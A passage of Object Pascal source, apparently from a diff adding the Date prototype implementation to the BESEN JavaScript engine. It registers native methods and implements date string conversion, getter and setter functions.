RegisterNativeFunction('setTime',NativeSetTime,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setMilliseconds',NativeSetMilliseconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCMilliseconds',NativeSetUTCMilliseconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setSeconds',NativeSetSeconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCSeconds',NativeSetUTCSeconds,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setMinutes',NativeSetMinutes,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCMinutes',NativeSetUTCMinutes,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setHours',NativeSetHours,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCHours',NativeSetUTCHours,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setDate',NativeSetDate,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCDate',NativeSetUTCDate,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setMonth',NativeSetMonth,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCMonth',NativeSetUTCMonth,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setFullYear',NativeSetFullYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setUTCFullYear',NativeSetUTCFullYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toGMTString',NativeToGMTString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toISOString',NativeToISOString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toJSON',NativeToJSON,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('getYear',NativeGetYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('setYear',NativeSetYear,0,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectDatePrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectDatePrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('ddd mmm dd yyyy hh:nn:ss',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENDefaultFormatSettings)+' GMT'+BESENGetDateTimeOffsetString(BESENGetLocalDateTimeZone)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToDateString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('ddd mmm dd yyy',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENDefaultFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToTimeString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('hh:nn:ss',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENDefaultFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('dddddd tt',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENLocaleFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToLocaleDateString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('dddddd',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENLocaleFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToLocaleTimeString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('tt',BESENUTCToLocalDateTime(BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)),BESENLocaleFormatSettings)); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeToUTCString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + ResultValue:=BESENStringValue('Invalid Date'); + end else begin + ResultValue:=BESENStringValue('NaN'); + end; + end else begin + ResultValue:=BESENStringValue(BESENFormatDateTime('ddd, dd mmm yyyy hh:nn:ss',BESENDateToDateTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value),BESENDefaultFormatSettings)+' GMT'); + end; + end else begin + raise EBESENTypeError.Create('Not date object'); + end; + +end; + +procedure TBESENObjectDatePrototype.NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetTime(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENYearFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCFullYear(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENYearFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMonthFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCMonth(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMonthFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENDayFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCDate(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENDayFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetDay(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENWeekDay(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCDay(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENWeekDay(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENHourFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCHours(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENHourFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMinuteFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCMinutes(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMinuteFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENSecondFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENSecondFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMillisecondFromTime(BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetUTCMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue(BESENMillisecondFromTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value)); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeGetTimezoneOffset(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if BESENIsNaN(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value) then begin + ResultValue:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + end else begin + ResultValue:=BESENNumberValue((TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value-BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value))/BESENmsPerMinute); + end; + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetTime(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(TBESEN(Instance).ToNum(Arguments^[0]^)); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + ms:=TBESEN(Instance).ToNum(Arguments^[0]^); + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),BESENMinuteFromTime(t),BESENSecondFromTime(t),ms)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCMilliseconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + ms:=TBESEN(Instance).ToNum(Arguments^[0]^); + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),BESENMinuteFromTime(t),BESENSecondFromTime(t),ms))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=BESENLocalTime(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + Seconds:=TBESEN(Instance).ToNum(Arguments^[0]^); + if CountArguments>1 then begin + ms:=TBESEN(Instance).ToNum(Arguments^[1]^); + end else begin + ms:=BESENMillisecondFromTime(t); + end; + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=BESENTimeClip(BESENUTC(BESENMakeDate(BESENDay(t),BESENMakeTime(BESENHourFromTime(t),BESENMinuteFromTime(t),Seconds,ms)))); + end; + ResultValue:=BESENNumberValue(TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value); + end else begin + raise EBESENTypeError.Create('Not a date object'); + end; +end; + +procedure TBESENObjectDatePrototype.NativeSetUTCSeconds(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var t:TBESENDate; + Seconds,ms:TBESENNumber; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(TBESENObject(ThisArgument.Obj)) and (TBESENObject(ThisArgument.Obj) is TBESENObjectDate) then begin + if CountArguments=0 then begin + TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value:=double(pointer(@BESENDoubleNaN)^); + end else begin + t:=TBESENObjectDate(TBESENObject(ThisArgument.Obj)).Value; + 